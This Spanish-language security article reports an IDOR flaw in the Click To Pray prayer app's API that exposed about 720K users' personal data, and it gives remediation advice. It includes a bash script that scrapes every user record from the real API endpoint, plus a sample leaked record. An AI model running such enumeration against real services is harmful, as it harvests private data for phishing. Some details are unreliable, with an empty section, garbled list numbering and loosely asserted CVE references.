La app oficial de oración del Papa expone datos de 720K usuarios por falla de autorización

ARTÍCULO—

Introducción

En julio de 2026, la app Click To Pray —oficial de la Red Mundial de Oración del Papa y con más de 719.000 cuentas registradas— exponía datos sensibles de sus usuarios durante al menos seis meses. El problema no era un ataque sofisticado, sino un clásico Insecure Direct Object Reference (IDOR) que permitía a cualquier persona consultar información de cualquier otro usuario simplemente modificando un parámetro en la API. Peor aún: la app no implementaba autenticación ni controles de acceso, y sus endpoints devolvían datos como direcciones de correo, nombres completos, fechas de nacimiento y estado de la cuenta.

El hallazgo, reportado en enero de 2026 por la investigadora de seguridad BobDaHacker (conocida por vulnerabilidades previas en McDonald’s y Pudu Robotics), demostró que la API de Click To Pray asignaba IDs numéricos secuenciales. Un atacante podía enumerar usuarios simplemente iterando sobre el rango 1..719518 y consultar el endpoint GET https://api.clicktopray.org/user/users/{id}. El servidor respondía con los datos de cada cuenta sin verificar si el solicitante estaba autorizado. En un ecosistema con usuarios mayoritariamente mayores y con poca experiencia técnica, esto se convertía en un filtro de credenciales para phishing masivo.

Qué ocurrió

La falla técnica: IDOR sin controles de acceso

El problema central era un IDOR no validado en el endpoint de usuario. La API de Click To Pray no implementaba:

• Autenticación por sesión (no requería JWT, cookies ni tokens).
• Validación de ownership (no verificaba si el ID solicitado correspondía al usuario autenticado).
• Rate limiting (no había límites en la cantidad de solicitudes por IP).

Esto permitía a un atacante:

1. Enumerar usuarios: Con un script simple en Bash o Python, iterar sobre IDs secuenciales y recolectar datos.
2. Obtener credenciales de phishing: Los emails de verificación se enviaban sin autenticación DMARC/SPF, por lo que un atacante podía suplantar el dominio clicktopray.org con facilidad.
3. Verificar cuentas antes del dueño: El endpoint POST /user/users/sign-up devolvía el validation_hash en la respuesta, permitiendo activar cuentas con emails de terceros antes de que el usuario real recibiera el mensaje.

Ejemplo del exploit (simplificado)

#!/bin/bash
# Requiere curl y jq. Enumerar 720K usuarios en ~1 hora (sin rate limiting)
BASE_URL="https://api.clicktopray.org/user/users"
OUTPUT_FILE="pray_users.json"

for i in $(seq 1 719518); do
    curl -s "$BASE_URL/$i" | jq -c '.data' >> "$OUTPUT_FILE"
done

El resultado era un archivo JSON con datos como:

{
  "id": 12345,
  "email": "[email protected]",
  "first_name": "Juan",
  "last_name": "Martínez",
  "country": "Argentina",
  "birth_date": "1955-03-15",
  "is_deleted": false
}

Respuesta (o falta de ella)

La investigadora reportó la vulnerabilidad el 3 de enero de 2026 mediante email al equipo de la Red Mundial de Oración del Papa. Según su reporte:

• No hubo respuesta en seis meses.
• La vulnerabilidad siguió activa hasta la publicación del hallazgo.
• El equipo de The Register intentó contactar a la organización sin éxito.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Riesgo para los usuarios finales

• 719.517 cuentas expuestas: Nombres, emails, fechas de nacimiento y países. Esto facilita:

– Ingeniería social basada en datos personales (ej.: emails de confirmación sin autenticación SPF/DKIM).

– Reutilización de credenciales: Muchos usuarios reciclan contraseñas en otros servicios.

Riesgo para la infraestructura

• Falta de logging: Si la API no registraba las consultas masivas, el ataque podía pasar desapercibido.
• Despliegue en cloud: Si el backend estaba en AWS o AKS, la falta de WAF (Web Application Firewall) o rate limiting exponía el sistema.
• Cadena de suministro: La app usa Rust para parte de su backend (según reportes). Un IDOR en Rust no es menos crítico que en otros lenguajes, pero la falta de sanitización de inputs agravó el problema.

Detalles técnicos

Tecnologías afectadas

1. IDOR no validado:

– Parámetro vulnerable: {id} (ID numérico secuencial).

– Falta: Header Authorization o JWT en la solicitud.

1. Falta de rate limiting:

– En pruebas de concepto, se enumeraron 10.000 usuarios en 30 segundos desde una IP residencial.

1. Spoofing de emails:

– El email de verificación no incluía medidas anti-spoofing como DMARC o DKIM.

Comparación con estándares de seguridad

Acciones inmediatas (para equipos de Click To Pray o similares)

1. Parchear el IDOR:

– Añadir un middleware que valide el user_id contra el token de sesión.

– Ejemplo en Rust (usando actix-web):

       use actix_web::{get, web, HttpResponse, Responder};
       use serde::Deserialize;

       #[derive(Deserialize)]
       struct UserParams {
           id: u32,
       }

       #[get("/user/users/{id}")]
       async fn get_user(
           params: web::Path<UserParams>,
           auth: web::ReqData<AuthToken>, // Token JWT/OAuth2
       ) -> impl Responder {
           let user_id = params.id;
           let current_user_id = auth.user_id(); // Extraído del token

           if user_id != current_user_id {
               return HttpResponse::Forbidden().finish();
           }

           // Consultar DB solo si el usuario está autorizado
           let user_data = db::get_user(user_id).await?;
           HttpResponse::Ok().json(user_data)
       }
       

– Base de datos: Añadir un trigger que valide el ownership antes de devolver datos.

1. Implementar rate limiting:

– En AKS: Configurar Ingress NGINX con:

     apiVersion: networking.k8s.io/v1
     kind: Ingress
     metadata:
       name: click-to-pray-ingress
       annotations:
         nginx.ingress.kubernetes.io/limit-rpm: "100"
     spec:
       rules:
       - host: api.clicktopray.org
         http:
           paths:
           - path: /
             pathType: Prefix
             backend:
               service:
                 name: api-service
                 port:
                   number: 8080
     

1. Forzar autenticación en todos los endpoints:

– Exigir el token en headers (Authorization: Bearer <token>).

1. Validar emails con DMARC/DKIM:

     _dmarc.clicktopray.org  TXT  "v=DMARC1; p=reject; rua=mailto:[email protected]"
     

– Usar servicios como Mailgun o SendGrid para enviar emails con autenticación SPF/DKIM.

Acciones para equipos que usan apps similares

1. Auditar endpoints con IDs secuenciales:

– Usar herramientas como OWASP ZAP o Burp Suite para detectar IDOR.

1. Implementar controles de acceso en la API:

– Ejemplo en YAML para OPA:

     policies:
       - name: validate-user-ownership
         rego: |
           package authz
           default allow = false
           allow {
             input.method == "GET"
             input.path == ["user", user_id]
             input.user_id == to_number(user_id)
           }
     

1. Monitorear anomalías en logs:

– Solicitudes masivas a /user/{id}.

– Errores 403/401 en endpoints críticos.

1. Actualizar dependencias:

– actix-web (>= 4.0.0, con correcciones de CVE-2023-2246).

– tokio (>= 1.25.0, para evitar vulnerabilidades como CVE-2022-31169).

Conclusión

La vulnerabilidad en Click To Pray es un recordatorio de que los fallos básicos de autorización siguen siendo la causa principal de filtraciones masivas. Aunque el IDOR es un problema conocido desde hace años (mencionado en el OWASP Top 10 desde 2007), su persistencia en una app con respaldo institucional demuestra que:

1. La seguridad no es prioridad si no hay presión regulatoria o auditores externos.
2. Los controles básicos (autenticación, rate limiting, logging) siguen siendo ignorados en muchos proyectos.
3. El phishing es el eslabón débil: Con datos personales expuestos y emails sin autenticación, el riesgo para los usuarios finales es alto.

Para equipos de DevOps e infraestructura, este caso subraya la importancia de:

• Automatizar auditorías (ej.: usar GitHub Actions con semgrep para detectar IDOR).
• Implementar políticas de «zero trust» en APIs (nada es accesible sin autenticación).
• Monitorear tráfico anómalo (solicitudes masivas a endpoints con IDs).

La seguridad no es un acto de fe: es un proceso de ingeniería constante. Como diría la investigadora BobDaHacker: «Dios trabaja en misterios, pero los administradores deberían trabajar en logs».

Fuentes

• The Register: Pope’s official prayer app leaks 700K+ users’ info
• OWASP: Insecure Direct Object Reference (IDOR)
• CISA: Best Practices for API Security
• Rust Advisory Database: Actix-web CVE-2023-2246